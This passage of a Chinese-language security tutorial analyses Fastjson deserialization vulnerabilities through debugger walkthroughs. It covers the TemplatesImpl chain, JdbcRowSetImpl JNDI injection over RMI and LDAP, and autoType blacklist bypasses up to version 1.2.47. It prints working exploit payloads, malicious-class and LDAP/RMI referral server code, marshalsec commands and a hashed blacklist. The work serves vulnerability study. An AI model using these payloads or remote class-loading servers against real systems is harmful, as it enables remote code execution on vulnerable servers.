    接着调用parseField继续执行,此时key值为_bytecodes,跟进去
    在这里插入图片描述
    发现会调用((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues)对_bytecodes的值进一步解析,跟进
    在这里插入图片描述
    接着,会解析出_bytecodes对应的内容,然后调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64解码后的数据,解码过程发生在setValue()前面的fieldValueDeserilizer.deserialze函数,这里不再跟进

    value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
    

    跟进setValue函数
    在这里插入图片描述
    进入后可以看到,调用了private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes的set方法来设置_bytecodes的值:
    在这里插入图片描述
    与上面类似,接下来就是循环遍历和赋值json中的key-value值,下面是给_name赋值
    在这里插入图片描述
    给_tfactory赋值
    在这里插入图片描述
    然后来到了我们的关键函数outputProperties,跟进该方法在这里插入图片描述
    下图可以看到,会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法,下划线跑去哪了?在经过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch函数时,会把下划线去掉。

    getOutputProperties()方法类型是get方法、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法,继续跟进,这里要选择强制进入函数:
    在这里插入图片描述
    然后调用了MethodAccessor.invoke(obj, args),继续强制进入
    在这里插入图片描述
    继续强制进入
    在这里插入图片描述
    继续(烦不烦。。。)
    在这里插入图片描述
    那个男人终于来了,在方法中调用了newTransformer().getOutputProperties()方法,跟进TemplatesImpl.newTransformer()方法:
    在这里插入图片描述
    然后跟进getTransletInstance()方法
    在这里插入图片描述
    在defineTransletClasses()方法中,会根据_bytecodes的值生成EvilPayload类,可以看到最终解析到class fastjson.EvilPayload类了:
    在这里插入图片描述
    我们跟进defineTransletClasses()函数看看,发现会调用_tfactory.getExternalExtensionsMap()函数,因此我们的json数据中有_tfactory这个参数,否则为null会导致报错
    在这里插入图片描述
    继续看defineTransletClasses()函数,该函数还会判断恶意类是否继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,否则会报错。所以我们的EvilPayload类会继承了这玩意。
    在这里插入图片描述

    后面就是EvilPayload类的实例化过程,过程中会调用构造函数,并弹出计算器
    在这里插入图片描述
    调用栈:

    <init>:13, EvilPayload (fastjson)
    newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
    newInstance:423, Constructor (java.lang.reflect)
    newInstance:442, Class (java.lang)
    getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
    parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
    parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
    deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
    parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
    parseObject:339, JSON (com.alibaba.fastjson)
    parseObject:302, JSON (com.alibaba.fastjson)
    main:34, Poc (fastjson)
    

    基于JdbcRowSetImpl的利用链

    基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP,都是属于基于Bean Property类型的JNDI的利用方式。

    JNDI

    这里大概讲一下JNDI和JNDI注入:

    JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

    总结一下,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

    在JNDI中提供了绑定和查找的方法:

    bind:将名称绑定到对象中;
    lookup:通过名字检索执行的对象;
    

    JNDI注入点有很多,这里拿lookup函数举例,比如下面栗子,如果uri我们可控,那么就会通过远程调用我们的evil类,从而造成命令执行。

    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
    Context ctx = new InitialContext(env);
    String uri = "rmi://127.0.0.1:1099/evil"
    ctx.lookup(uri)
    

    JNDI注入漏洞的限制因素是JDK版本。

    LDAP

    LDAP(Light Directory Access Portocol)是一种轻量级目录访问协议,LDAP支持TCP/IP。可以认为是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

    目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

    AD(Active Directory)是微软基于LDAP的一套实现。

    限制

    基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

    可以在官网下载相应的jdk,如果在已有项目改变jdk环境,需要在idea如下四处进行设置(或者重建项目,选择jdk版本会方便点,它会帮你一步到位)
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    JNDI+RMI利用

    payload如下,其中@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型,设置该值会调用setAutoCommit()方法,而里面又调用了connect(),connent函数里面就有我们需要的lookup()。

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvilClass", "autoCommit":true}
    

    创建JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意EvilClass.class文件所在服务器的Reference:

    package fastjson;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class JNDIServer {
        public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
            Registry registry = LocateRegistry.createRegistry(6099);
            Reference reference = new Reference("EvilClass",
                    "EvilClass","http://127.0.0.1:6666/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("EvilClass",referenceWrapper);
        }
    }
    

    或者使用marshalsec建立ldap服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099
    

    接下来编写恶意类EvilClass,编译成一个class,作为一个Factory绑定在注册表服务中,注意不要跟JNDIServer类放在同一个目录,防止它会直接本地获取

    public class EvilClass {
        public EvilClass() {
            try {
                Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        public static void main(String[] args) {
            EvilClass e = new EvilClass();
        }
    }
    
    

    然后编写poc:

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:6099/EvilClass\", \"autoCommit\":true}";
            JSON.parse(payload);
        }
    }
    
    

    在EvilClass同目录下使用python开启一个http服务:
    在这里插入图片描述
    然后先后启动JNDIServer类和JdbcRowSetImplPoc类,这里如果两个类在同一个idea工程下,意味着需要运行两个控制台,可以通过如下设置:
    在这里插入图片描述
    在这里插入图片描述
    然后会就弹出可爱的计算器了
    在这里插入图片描述
    细心的同学注意到我的环境又变成Windows了,诶。。。不知道为啥,macos克我。

    JNDI+LDAP利用

    payload如下,跟前面相比,协议变成了ldap,与rmi协议相比,ldap协议可以满足该漏洞的jdk版本更多,即利用条件更广。

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}
    

    接着创建Ldap服务器,创建LdapServer类:

    package fastjson;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    public class LdapServer {
        private static final String LDAP_BASE = "dc=example,dc=com";
    
    
        public static void main (String[] args) {
    
            String url = "http://127.0.0.1:6666/#EvilClass";
            int port = 6099;
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port);
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
    
            /**
             *
             */
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
    
            /**
             * {@inheritDoc}
             *
             * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
             */
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
    
            }
    
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }
    

    或者使用marshalsec建立ldap服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099
    

    打一下,其他不变,改一下dataSourceName的值

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
            JSON.parse(payload);
        }
    }
    
    

    在这里插入图片描述

    调试一下

    这里就选择ldap的payload进行调试吧,因为都差不多,利用链都是com.sun.rowset.JdbcRowSetImpl。
    在JSON.parse(payload)处断个点,前面大部分跟前面调试的类似,我们直奔主题:

    在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)处会对payload的json数据进行循环遍历,可以看到此时已经解析到com.sun.rowset.JdbcRowSetImpl类了,跟进
    在这里插入图片描述
    接着对JdbcRowSetImpl进行反序列化,跟进
    在这里插入图片描述
    接下来有些地方通过ASM机制在运行,不太好调试了,我们提前在com.sun.rowset.JdbcRowSetImpl下面两处打好断点等它过来

    com.sun.rowset.JdbcRowSetImpl#setAutoCommit
    com.sun.rowset.JdbcRowSetImpl#setDataSourceName
    

    首先来到了setDataSourceName函数处,将dataSource设置成了ldap://127.0.0.1:6099/EvilClass
    setDataSourceName
    接着在来到setAutoCommit函数,这里跟进connect()函数
    在这里插入图片描述
    跟进后发现JNDI的常用注入点之一lookup函数,他会this.getDataSourceName()获得ldap链接,从而导致JNDI注入漏洞。
    在这里插入图片描述

    补丁与绕过

    补丁分析

    修改一下pom.xml,然后重新加载

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>JavaProject7076</artifactId>
        <version>1.0-SNAPSHOT</version>
        <dependencies>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.41</version>
            </dependency>
            <dependency>
                <groupId>commons-codec</groupId>
                <artifactId>commons-codec</artifactId>
                <version>1.12</version>
            </dependency>
            <dependency>
                <groupId>commons-io</groupId>
                <artifactId>commons-io</artifactId>
                <version>2.5</version>
            </dependency>
            <dependency>
                <groupId>com.unboundid</groupId>
                <artifactId>unboundid-ldapsdk</artifactId>
                <version>4.0.9</version>
                <scope>test</scope>
            </dependency>
        </dependencies>
    </project>
    

    我们依然使用com.sun.rowset.JdbcRowSetImpl作为攻击链,再运行下面代码:

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
            JSON.parse(payload);
        }
    }
    

    发现报错,com.sun.rowset.JdbcRowSetImpl被禁掉了
    在这里插入图片描述
    我们来调试一下,由于步骤差不多,我们直奔主题com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),debug到该函数下,发现多了个函数checkAutoType(),跟进去
    在这里插入图片描述
    checkAutoType函数如下所示,这里重点分析一下

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
            if (typeName == null) {
                return null;
            } else if (typeName.length() >= 128) {
                throw new JSONException("autoType is not support. " + typeName);
            } else {
                String className = typeName.replace('$', '.');
                Class<?> clazz = null;
                int mask;
                String accept;
                if (this.autoTypeSupport || expectClass != null) {
                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            if (clazz != null) {
                                return clazz;
                            }
                        }
                    }
    
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
                }
    
                if (clazz == null) {
                    clazz = TypeUtils.getClassFromMapping(typeName);
                }
    
                if (clazz == null) {
                    clazz = this.deserializers.findClass(typeName);
                }
    
                if (clazz != null) {
                    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    } else {
                        return clazz;
                    }
                } else {
                    if (!this.autoTypeSupport) {
                        for(mask = 0; mask < this.denyList.length; ++mask) {
                            accept = this.denyList[mask];
                            if (className.startsWith(accept)) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }
    
                        for(mask = 0; mask < this.acceptList.length; ++mask) {
                            accept = this.acceptList[mask];
                            if (className.startsWith(accept)) {
                                if (clazz == null) {
                                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                                }
    
                                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                                }
    
                                return clazz;
                            }
                        }
                    }
    
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    }
    
                    if (clazz != null) {
                        if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                            return clazz;
                        }
    
                        if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
    
                        if (expectClass != null) {
                            if (expectClass.isAssignableFrom(clazz)) {
                                return clazz;
                            }
    
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
    
                        JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                        if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
    
                    mask = Feature.SupportAutoType.mask;
                    boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                    if (!autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    } else {
                        return clazz;
                    }
                }
            }
        }
    

    可以看出来checkAutoType函数增加了黑白名单,低版本fastjson白名单需要自己设置,默认为空,黑名单有如下玩意,我们的com.sun.rowset.JdbcRowSetImpl被包含在了第3个。

    在这里插入图片描述
    该函数还引入了一个参数autoTypeSupport,默认为false:

    • 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
    • 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错

    将autoTypeSupport设置为True有两种方法:

    • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
    • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

    AutoType白名单设置方法:

    • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
    • 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
    • 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

    接着调试,就报错了:
    在这里插入图片描述

    绕过方式

    先上payload,该payload适用于1.2.25-1.2.41

    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}
    
    

    然后测试代码:

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
            JSON.parse(payload);
        }
    }
    

    这个payload对autoTypeSupport为true时有效。通过前面分析我们知道,算然Lcom.sun.rowset.JdbcRowSetImpl不在黑名单里面,但是当autoTypeSupport为false时,在黑白名单都无法匹配的情况下也是报错的。

    下面我们调试一下,由于绕过了校验,接着会执行TypeUtils.loadClass(typeName, this.defaultClassLoader, false),跟进
    在这里插入图片描述
    然后就真相大白了,第二框会把Lcom.sun.rowset.JdbcRowSetImpl;转换成com.sun.rowset.JdbcRowSetImpl,然后利用链就又能用了。
    在这里插入图片描述
    我还圈出了第一个框,它是另一中绕过方式,payload如下,适用于1.2.25-1.2.43版本。之所以多了两个符号**[{**,是因为该利用链在反序列化过程中涉及到一些其他判断需要绕过。

    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}
    
    

    另外还有两种绕过方式,这里不再一一调试:

    适用于1.2.25-1.2.42

    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}
    

    适用于1.2.25-1.2.45,需要存在mybatis的jar包

    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:6099/EvilClass"}}
    
    

    反序列化漏洞二

    额,这篇文章写着写着就又臭又长了,继续吧

    影响版本和限制

    fastjson影响1.2.25-1.2.47版本
    利用链基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

    利用链

    先上payload,可以看到先通过java.lang.Class将com.sun.rowset.JdbcRowSetImpl加载到map缓存中,然后在通过com.sun.rowset.JdbcRowSetImpl执行恶意ldap链接。

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://127.0.0.1:6099/EvilClass",
            "autoCommit":true
        }
    }
    

    注意,这个payload根据AutoTypeSupport模式的不同,能影响的版本也不同
    在1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
    在1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用;

    不开启AutoTypeSuppt

    poc如下:

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            // String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
            String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                    + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                    + "\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\",\"autoCommit\":true}}";
            JSON.parse(payload);
        }
    }
    
    

    调试一下,我们直接进入checkAutoType()函数,由于autoTypeSupport为false,所以不会进入第一个白黑名单进行判断,继续往下调试
    在这里插入图片描述
    由于此时typeName为java.lang.Class,会在this.deserializers.findClass(typeName)函数中直接被找到,所以不会经过第二个黑白名单判断就会被返回。
    在这里插入图片描述
    返回到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)函数,跟进deserialze()函数
    在这里插入图片描述
    进去后会对val进行判空,然后继续跟进解析出com.sun.rowset.JdbcRowSetImpl并赋值给objVal,继续跟进
    在这里插入图片描述
    然后赋值给strVal,继续跟进
    在这里插入图片描述
    接着判断clazz是否为class类,是的话调用TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())加载strVal指定的类,继续跟进
    在这里插入图片描述
    在loadClass里面,通过loadClass()函数成功加载com.sun.rowset.JdbcRowSetImpl后,会放进map中作为缓存
    在这里插入图片描述
    在遍历第二部分json数据时,依然会进入checkAutoType函数,此时可以通过TypeUtils.getClassFromMapping(typeName)函数获取到刚才在map中缓存的com.sun.rowset.JdbcRowSetImpl,于是clazz就有了值,可以直接绕过第二次黑白名单判断,直接返回,从而成功绕过所有检测造成ldap注入。
    在这里插入图片描述

    开启AutoTypeSuppt

    poc如下:

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            // String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
            String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                    + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                    + "\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\",\"autoCommit\":true}}";
            JSON.parse(payload);
        }
    }
    

    满足版本的情况下,也能执行成功,来看一下关键的绕过代码

    if (this.autoTypeSupport || expectClass != null) {
        for(mask = 0; mask < this.acceptList.length; ++mask) {
            accept = this.acceptList[mask];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                if (clazz != null) {
                    return clazz;
                }
            }
        }
    
        for(mask = 0; mask < this.denyList.length; ++mask) {
            accept = this.denyList[mask];
            if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
    

    在判断java.lang.Class的时候,跟前面步骤一样,会将com.sun.rowset.JdbcRowSetImpl加入缓存;关键在于遍历第二个json,即com.sun.rowset.JdbcRowSetImpl时,是怎么绕过黑名单的?
    看下面关键判断语句,发现第一个条件是为true的,因为com.sun.rowset.JdbcRowSetImpl在黑名单中,但是第二个判断条件为false,因为com.sun.rowset.JdbcRowSetImpl在map缓存中是找得到的,从而导致这个黑名单判断语句时效。

    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null)
    

    补丁

    在调用TypeUtils.loadClass()加载java.lang.Class时,设置了默认不缓存目标类到map中。
    不过fastjson从1.2.42开始,黑名单从明文形式改为了经过哈希的字符串,不过这并不能难道各位大牛,参考fastjson-blacklist
    目前已知黑名单
    version hash hex-hash name
    1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
    1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
    1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
    1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
    1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
    1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
    1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
    1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
    1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
    1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
    1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
    1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
    1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
    1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
    1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
    1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
    1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
    1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
    1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
    1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
    1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
    1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
    1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
    1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
    1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
    1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
    1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
    1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
    1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
    1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
    1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
    1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
    1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
    1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
    1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
    1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
    1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
    1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
    1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
    1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
